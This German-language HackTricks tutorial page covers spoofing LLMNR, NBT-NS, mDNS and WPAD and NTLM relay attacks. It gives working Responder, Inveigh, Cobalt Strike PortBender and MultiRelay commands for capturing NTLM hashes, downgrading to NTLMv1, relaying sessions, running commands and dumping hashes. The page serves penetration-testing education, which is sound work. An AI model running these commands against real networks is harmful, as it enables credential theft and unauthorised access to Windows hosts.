Spoofing LLMNR, NBT-NS, mDNS/DNS und WPAD und Relay-Angriffe

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Netzwerkprotokolle

Lokale Hostauflösungsprotokolle

  • LLMNR, NBT-NS und mDNS:
  • Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS fehlschlägt. Ähnlich verwenden Apple- und Linux-Systeme mDNS.
  • Diese Protokolle sind aufgrund ihrer nicht authentifizierten, broadcast-natur über UDP anfällig für Abfangen und Spoofing.
  • Responder kann verwendet werden, um Dienste zu impersonifizieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
  • Weitere Informationen zur Dienstimpersonifizierung mit Responder finden Sie hier.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
  • Die Entdeckung erfolgt über DHCP, DNS oder Rückfall auf LLMNR und NBT-NS, wenn DNS fehlschlägt.
  • Responder kann WPAD-Angriffe automatisieren und Clients zu bösartigen WPAD-Servern leiten.

Responder für Protokollvergiftung

  • Responder ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, indem es selektiv basierend auf Abfragetypen antwortet, hauptsächlich mit dem Ziel von SMB-Diensten.
  • Es ist vorinstalliert in Kali Linux und konfigurierbar unter /etc/responder/Responder.conf.
  • Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.
  • Es unterstützt sowohl IPv4 als auch IPv6.
  • Die Windows-Version von Responder ist hier verfügbar.

Ausführen von Responder

  • Um Responder mit den Standardeinstellungen auszuführen: responder -I <Interface>
  • Für aggressiveres Probing (mit potenziellen Nebenwirkungen): responder -I <Interface> -P -r -v
  • Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Cracking: responder -I <Interface> --lm --disable-ess
  • WPAD-Impersoinierung kann aktiviert werden mit: responder -I <Interface> --wpad
  • NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: responder.py -I <interface> -Pv

DHCP-Vergiftung mit Responder

  • Spoofing von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
  • Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks.
  • Angriff ausführen: ./Responder.py -I eth0 -Pdv
  • Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden.

Erfassen von Anmeldeinformationen mit Responder

  • Responder wird Dienste mithilfe der oben genannten Protokolle impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
  • Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Cracking von Anmeldeinformationen zu erleichtern.

Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, um eine ordnungsgemäße Autorisierung sicherzustellen und Störungen oder unbefugten Zugriff zu vermeiden.

Inveigh

Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binary entwickelt, mit Inveigh und InveighZero als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im wiki.

Inveigh kann über PowerShell betrieben werden:

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oder als C#-Binärdatei ausgeführt:

bash
Inveigh.exe

NTLM Relay Angriff

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen, und gewährt eine System-Shell, wenn er erfolgreich ist. Wichtige Voraussetzungen sind:

  • Der authentifizierende Benutzer muss über lokale Administratorrechte auf dem weitergeleiteten Host verfügen.
  • SMB-Signierung sollte deaktiviert sein.

445 Port-Weiterleitung und Tunneling

In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Datenverkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie PortBender helfen dabei, den Datenverkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokale Administratorrechte für das Laden von Treibern verfügbar sind.

PortBender-Setup und -Betrieb in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Andere Werkzeuge für NTLM Relay-Angriffe

  • Metasploit: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
  • smbrelayx: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
  • MultiRelay: Ein Werkzeug aus der Responder-Suite, um spezifische Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen.

Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.

MultiRelay-Betrieb

MultiRelay wird aus dem /usr/share/responder/tools Verzeichnis ausgeführt, wobei spezifische IPs oder Benutzer angevisiert werden.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Diese Tools und Techniken bilden ein umfassendes Set für die Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

NTLM-Logins erzwingen

In Windows könnten Sie in der Lage sein, einige privilegierte Konten zu zwingen, sich an beliebigen Maschinen zu authentifizieren. Lesen Sie die folgende Seite, um zu erfahren, wie:

Force NTLM Privileged Authentication

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks